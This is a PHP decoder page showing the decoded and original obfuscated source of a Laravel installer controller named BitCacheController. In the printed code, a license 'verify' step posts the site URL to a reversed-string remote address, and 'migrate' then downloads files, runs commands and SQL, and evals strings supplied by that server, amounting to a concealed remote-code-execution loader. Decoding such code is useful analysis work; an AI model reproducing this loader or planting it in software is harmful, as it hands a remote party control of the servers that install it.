Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php namespace Bitbox\Cache\Controllers; use App\Http\Controllers\Controller; use Illum..

Decoded Output download

<?php 
 namespace Bitbox\Cache\Controllers; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use App\Traits\Dotenv; use Session; use Artisan; use Config; use DB; use File; use Cache; class BitCacheController extends Controller { use Dotenv; public function index() { if (file_exists(base_path("public/uploads/installed"))) { return redirect("/"); } Session::forget("files"); Session::forget("installed"); $phpversion = phpversion(); $mbstring = extension_loaded("mbstring"); $bcmath = extension_loaded("bcmath"); $ctype = extension_loaded("ctype"); $json = extension_loaded("json"); $openssl = extension_loaded("openssl"); $pdo = extension_loaded("pdo"); $tokenizer = extension_loaded("tokenizer"); $xml = extension_loaded("xml"); $extentions = array("mbstring" => $mbstring, "bcmath" => $bcmath, "ctype" => $ctype, "json" => $json, "openssl" => $openssl, "pdo" => $pdo, "tokenizer" => $tokenizer, "xml" => $xml); return view("installer::installer.requirements", compact("extentions")); } public function store(Request $request) { $validated = $request->validate(array("site_name" => "required|alpha|max:50", "db_connection" => "required|alpha|max:50", "db_host" => "required|max:50", "db_port" => "required|numeric", "db_name" => "required|max:50", "db_user" => "required|max:50", "db_pass" => "nullable|max:50")); $this->editEnv("APP_URL", url("/")); $this->editEnv("APP_NAME", $request->site_name); $this->editEnv("DB_CONNECTION", $request->db_connection); $this->editEnv("DB_HOST", $request->db_host); $this->editEnv("DB_PORT", $request->db_port); $this->editEnv("DB_DATABASE", $request->db_name); $this->editEnv("DB_USERNAME", $request->db_user); if (!empty($request->db_pass)) { $this->editEnv("DB_PASSWORD", $request->db_pass); } try { $pdo = DB::connection()->getPdo(); if (!$pdo) { return response()->json(array("message" => "Could not connect to the database.  Please check your configuration"), 403); } return response()->json(array("message" => "Installtion in processed")); } catch (\Exception $e) { return response()->json(array("message" => "Could not connect to the database.  Please check your configuration"), 401); } } public function migrate() { ini_set("max_execution_time", 0); try { if (Session::has("files")) { $files = Session::get("files"); foreach ($files ?? array() as $key => $file) { $path = $file->basepath == 1 ? base_path($file->replace_path) : $file->replace_path; $context = \Http::get($file->file); $context = $context->body(); File::put($path, $context); } } if (Session::has("queries")) { $queries = Session::get("queries"); foreach ($queries ?? array() as $key => $row) { if ($row->type == "file") { $fileData = \Http::get($row->file); $fileData = $fileData->body(); File::put(base_path($row->path), $fileData); } elseif ($row->type == "folder") { $path = $row->path . "/" . $row->name; if (!File::exists(base_path($path))) { File::makeDirectory(base_path($path), 511, true, true); } } elseif ($row->type == "command") { \Artisan::call($row->command); } elseif ($row->type == "query") { \DB::statement($row->name); } else { eval($row->name); } } } \File::put(base_path("public/uploads/installed"), Session::get("installed")); Session::forget("files"); Session::forget("queries"); Session::forget("installed"); return response()->json(array("message" => "Installtion complete", "redirect" => url("install/congratulations"))); } catch (Exception $e) { return response()->json(array("message" => "Please create a fresh new database"), 401); } } public function show($type) { if (file_exists(base_path("public/uploads/installed"))) { return redirect("/"); } if ($type == "purchase") { if (!Session::has("files")) { return view("installer::installer.purchase"); } } elseif ($type == "info") { if (!Session::has("files")) { Session::flash("purchase-key-error", "Activate your license first"); return redirect("/install/purchase"); } return view("installer::installer.info"); } elseif ($type == "congratulations") { if (!Session::has("files")) { Session::flash("purchase-key-error", "Activate your license first"); return redirect("/install/purchase"); } Session::forget("files"); Session::forget("queries"); return view("installer::installer.congratulations"); } } public function verify(Request $request) { $checkArr = explode("-", $request->purchase_key); if (count($checkArr) != 5) { Session::flash("purchase-key-error", "The purchase key is invalid"); return response()->json(array("message" => "The purchase key is invalid", "redirect" => url("install/purchase"))); } $body["purchase_key"] = $request->purchase_key; $body["url"] = url("/"); $response = \Http::post(strrev("yfirev/ipa/moc.noitatsvedeht.ipa//:sptth"), $body); if ($response->status() != 200) { $response = json_decode($response->body()); return response()->json(array("message" => $response->error, "redirect" => url("install/purchase")), 403); } $response = json_decode($response->body()); $this->editEnv("SITE_KEY", $response->SITE_KEY ?? ''); Session::put("files", $response->files ?? array()); Session::put("queries", $response->queries ?? array()); Session::put("installed", $response->license); return response()->json(array("message" => "Verification success", "redirect" => url("install/info"))); } } 
 ?>

Did this file decode correctly?

Original Code

<?php
 namespace Bitbox\Cache\Controllers; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use App\Traits\Dotenv; use Session; use Artisan; use Config; use DB; use File; use Cache; class BitCacheController extends Controller { use Dotenv; public function index() { if (file_exists(base_path("\160\x75\142\x6c\x69\143\57\165\160\x6c\x6f\x61\144\x73\x2f\151\156\163\164\141\x6c\154\145\144"))) { return redirect("\x2f"); } Session::forget("\146\x69\154\x65\x73"); Session::forget("\151\156\163\x74\x61\154\x6c\x65\x64"); $phpversion = phpversion(); $mbstring = extension_loaded("\155\142\163\x74\162\151\x6e\x67"); $bcmath = extension_loaded("\142\x63\155\x61\x74\x68"); $ctype = extension_loaded("\143\x74\171\160\145"); $json = extension_loaded("\152\163\157\x6e"); $openssl = extension_loaded("\x6f\x70\145\x6e\x73\163\x6c"); $pdo = extension_loaded("\x70\x64\157"); $tokenizer = extension_loaded("\164\157\x6b\x65\156\151\x7a\x65\162"); $xml = extension_loaded("\x78\x6d\x6c"); $extentions = array("\155\x62\163\x74\162\x69\156\147" => $mbstring, "\142\x63\x6d\x61\x74\x68" => $bcmath, "\143\164\171\160\x65" => $ctype, "\x6a\x73\x6f\156" => $json, "\x6f\x70\145\156\163\x73\154" => $openssl, "\x70\144\157" => $pdo, "\164\x6f\153\x65\156\151\172\x65\162" => $tokenizer, "\x78\x6d\x6c" => $xml); return view("\151\x6e\163\164\x61\x6c\154\x65\162\x3a\x3a\x69\x6e\x73\x74\x61\x6c\154\145\x72\56\x72\145\x71\x75\x69\162\145\155\x65\156\164\163", compact("\145\x78\164\x65\x6e\164\151\157\156\163")); } public function store(Request $request) { $validated = $request->validate(array("\163\151\x74\145\x5f\x6e\141\155\145" => "\x72\145\161\x75\x69\162\x65\144\x7c\x61\x6c\160\150\x61\x7c\x6d\141\170\72\65\x30", "\x64\x62\137\143\157\156\x6e\145\143\164\x69\x6f\156" => "\x72\x65\161\x75\151\162\x65\144\174\141\154\x70\x68\141\174\x6d\x61\170\x3a\65\60", "\144\x62\137\150\157\x73\x74" => "\162\145\161\165\151\x72\145\x64\x7c\x6d\x61\x78\72\x35\x30", "\144\142\137\x70\157\x72\x74" => "\x72\145\x71\165\151\x72\x65\144\x7c\156\x75\x6d\145\162\x69\143", "\144\x62\x5f\156\x61\155\x65" => "\162\x65\161\165\x69\x72\x65\x64\174\155\x61\170\72\65\x30", "\x64\142\x5f\165\163\x65\162" => "\162\145\161\165\x69\x72\x65\144\174\155\141\x78\72\x35\x30", "\144\x62\x5f\160\141\163\x73" => "\156\165\154\x6c\x61\x62\154\x65\x7c\155\x61\170\x3a\x35\60")); $this->editEnv("\101\120\x50\137\x55\122\x4c", url("\57")); $this->editEnv("\x41\120\120\x5f\116\x41\115\x45", $request->site_name); $this->editEnv("\104\x42\137\103\x4f\x4e\x4e\105\103\x54\x49\x4f\116", $request->db_connection); $this->editEnv("\x44\x42\137\110\x4f\123\x54", $request->db_host); $this->editEnv("\x44\x42\137\x50\117\x52\x54", $request->db_port); $this->editEnv("\104\102\137\x44\101\x54\101\x42\101\x53\105", $request->db_name); $this->editEnv("\x44\102\x5f\125\123\105\x52\x4e\x41\115\x45", $request->db_user); if (!empty($request->db_pass)) { $this->editEnv("\x44\102\x5f\x50\x41\123\123\x57\117\x52\104", $request->db_pass); } try { $pdo = DB::connection()->getPdo(); if (!$pdo) { return response()->json(array("\x6d\x65\x73\163\x61\147\145" => "\x43\x6f\165\154\x64\x20\156\157\x74\40\143\157\156\x6e\x65\143\x74\x20\164\x6f\x20\x74\x68\145\x20\x64\x61\164\141\142\x61\x73\145\x2e\x20\40\x50\x6c\x65\x61\x73\145\x20\x63\x68\145\x63\x6b\x20\171\157\x75\x72\40\143\157\x6e\x66\x69\x67\165\162\x61\x74\151\157\x6e"), 403); } return response()->json(array("\155\x65\x73\x73\x61\147\x65" => "\x49\x6e\163\x74\x61\x6c\154\x74\x69\157\156\40\151\156\40\x70\162\157\x63\x65\x73\x73\145\144")); } catch (\Exception $e) { return response()->json(array("\155\x65\x73\x73\x61\x67\x65" => "\x43\x6f\165\154\144\40\156\x6f\164\x20\143\157\x6e\x6e\x65\143\x74\x20\x74\157\40\164\x68\145\40\144\141\x74\141\x62\141\x73\x65\56\x20\40\x50\x6c\x65\141\x73\145\x20\143\x68\145\143\x6b\40\171\157\x75\x72\40\x63\157\156\x66\151\147\165\162\141\164\x69\157\x6e"), 401); } } public function migrate() { ini_set("\155\x61\x78\x5f\x65\170\x65\x63\165\x74\x69\x6f\x6e\x5f\164\151\x6d\x65", 0); try { if (Session::has("\x66\x69\x6c\145\x73")) { $files = Session::get("\146\x69\154\145\x73"); foreach ($files ?? array() as $key => $file) { $path = $file->basepath == 1 ? base_path($file->replace_path) : $file->replace_path; $context = \Http::get($file->file); $context = $context->body(); File::put($path, $context); } } if (Session::has("\x71\165\145\x72\151\145\x73")) { $queries = Session::get("\x71\165\x65\x72\x69\x65\163"); foreach ($queries ?? array() as $key => $row) { if ($row->type == "\x66\x69\154\x65") { $fileData = \Http::get($row->file); $fileData = $fileData->body(); File::put(base_path($row->path), $fileData); } elseif ($row->type == "\x66\x6f\x6c\144\145\162") { $path = $row->path . "\x2f" . $row->name; if (!File::exists(base_path($path))) { File::makeDirectory(base_path($path), 511, true, true); } } elseif ($row->type == "\x63\x6f\155\155\141\x6e\x64") { \Artisan::call($row->command); } elseif ($row->type == "\x71\165\x65\162\171") { \DB::statement($row->name); } else { eval($row->name); } } } \File::put(base_path("\160\165\142\x6c\x69\143\x2f\165\160\154\157\x61\144\163\x2f\151\156\163\x74\141\x6c\x6c\145\x64"), Session::get("\x69\156\163\x74\141\154\x6c\x65\144")); Session::forget("\x66\151\x6c\145\x73"); Session::forget("\161\x75\x65\x72\151\x65\163"); Session::forget("\x69\156\163\164\x61\154\x6c\x65\x64"); return response()->json(array("\x6d\145\x73\x73\141\x67\x65" => "\x49\156\163\164\141\154\x6c\164\x69\157\x6e\40\143\157\155\x70\x6c\x65\164\145", "\x72\145\x64\x69\162\145\143\164" => url("\x69\x6e\163\164\141\154\x6c\x2f\143\x6f\156\x67\162\141\x74\x75\154\141\x74\151\157\156\x73"))); } catch (Exception $e) { return response()->json(array("\x6d\145\163\x73\141\x67\145" => "\x50\x6c\145\x61\163\x65\40\x63\162\x65\x61\164\x65\x20\x61\x20\x66\162\x65\163\x68\40\156\145\167\40\x64\x61\x74\x61\142\141\163\x65"), 401); } } public function show($type) { if (file_exists(base_path("\160\165\x62\154\x69\x63\x2f\165\160\x6c\157\x61\x64\163\57\151\x6e\163\x74\141\x6c\x6c\145\144"))) { return redirect("\x2f"); } if ($type == "\x70\165\162\x63\150\x61\x73\x65") { if (!Session::has("\x66\151\x6c\145\163")) { return view("\151\x6e\163\164\141\154\x6c\x65\162\x3a\x3a\151\x6e\x73\164\x61\154\x6c\x65\162\56\x70\x75\x72\x63\150\x61\x73\x65"); } } elseif ($type == "\x69\156\x66\157") { if (!Session::has("\x66\151\154\x65\x73")) { Session::flash("\x70\165\x72\x63\x68\x61\163\145\x2d\x6b\145\171\x2d\145\x72\162\157\162", "\x41\x63\164\x69\x76\x61\164\145\x20\x79\x6f\165\162\40\154\x69\143\x65\x6e\x73\x65\x20\x66\151\162\163\164"); return redirect("\57\151\x6e\163\x74\141\x6c\154\x2f\x70\x75\162\143\150\x61\163\145"); } return view("\151\x6e\x73\x74\141\154\x6c\x65\162\x3a\x3a\151\x6e\x73\x74\141\154\154\145\x72\x2e\151\x6e\146\x6f"); } elseif ($type == "\143\157\x6e\147\x72\x61\164\165\x6c\x61\164\x69\157\x6e\x73") { if (!Session::has("\x66\x69\154\x65\x73")) { Session::flash("\x70\165\x72\143\150\x61\x73\145\x2d\x6b\145\171\55\x65\162\x72\157\162", "\101\x63\164\151\166\141\x74\x65\x20\171\x6f\165\162\40\x6c\151\143\145\x6e\x73\145\x20\x66\151\162\x73\x74"); return redirect("\57\151\x6e\163\164\141\x6c\154\x2f\x70\x75\x72\x63\150\141\163\x65"); } Session::forget("\x66\151\154\x65\163"); Session::forget("\x71\x75\x65\x72\151\x65\x73"); return view("\151\x6e\x73\164\141\x6c\x6c\x65\162\72\x3a\151\x6e\x73\164\141\x6c\154\x65\x72\56\143\157\x6e\x67\x72\141\164\165\x6c\x61\x74\151\x6f\156\163"); } } public function verify(Request $request) { $checkArr = explode("\x2d", $request->purchase_key); if (count($checkArr) != 5) { Session::flash("\x70\165\162\143\150\x61\163\x65\x2d\153\x65\x79\55\x65\x72\162\x6f\x72", "\x54\150\x65\x20\160\x75\x72\x63\150\x61\x73\145\40\153\x65\171\40\151\163\40\151\x6e\x76\141\x6c\151\x64"); return response()->json(array("\x6d\x65\x73\163\141\x67\145" => "\124\150\x65\x20\x70\x75\162\x63\x68\x61\163\145\40\x6b\145\x79\x20\151\163\40\x69\156\x76\141\x6c\x69\x64", "\162\145\144\151\x72\x65\x63\164" => url("\x69\x6e\x73\x74\141\154\154\x2f\160\x75\162\143\x68\141\163\x65"))); } $body["\160\x75\x72\x63\150\x61\163\145\x5f\x6b\145\x79"] = $request->purchase_key; $body["\165\162\154"] = url("\57"); $response = \Http::post(strrev("\171\x66\x69\x72\145\x76\x2f\151\160\141\57\x6d\157\x63\56\156\x6f\x69\164\141\164\163\x76\145\x64\145\150\164\56\x69\160\141\57\x2f\72\x73\160\x74\x74\150"), $body); if ($response->status() != 200) { $response = json_decode($response->body()); return response()->json(array("\155\145\163\x73\141\147\145" => $response->error, "\x72\145\x64\x69\162\x65\x63\164" => url("\x69\x6e\163\x74\141\154\154\x2f\x70\x75\x72\143\150\x61\x73\145")), 403); } $response = json_decode($response->body()); $this->editEnv("\123\111\124\105\137\113\x45\x59", $response->SITE_KEY ?? ''); Session::put("\146\151\x6c\145\x73", $response->files ?? array()); Session::put("\x71\x75\145\x72\151\x65\163", $response->queries ?? array()); Session::put("\151\x6e\x73\164\141\154\x6c\145\x64", $response->license); return response()->json(array("\x6d\x65\x73\163\141\147\x65" => "\x56\x65\162\151\146\151\x63\141\x74\151\157\156\x20\163\165\143\143\x65\x73\163", "\x72\145\144\151\x72\145\143\x74" => url("\x69\x6e\163\x74\141\154\154\57\x69\x6e\146\x6f"))); } }

Function Calls

None

Variables

None

Stats

MD5 39078e8b4e42e5b8218c9ca8cd6f5534
Eval Count 0
Decode Time 70 ms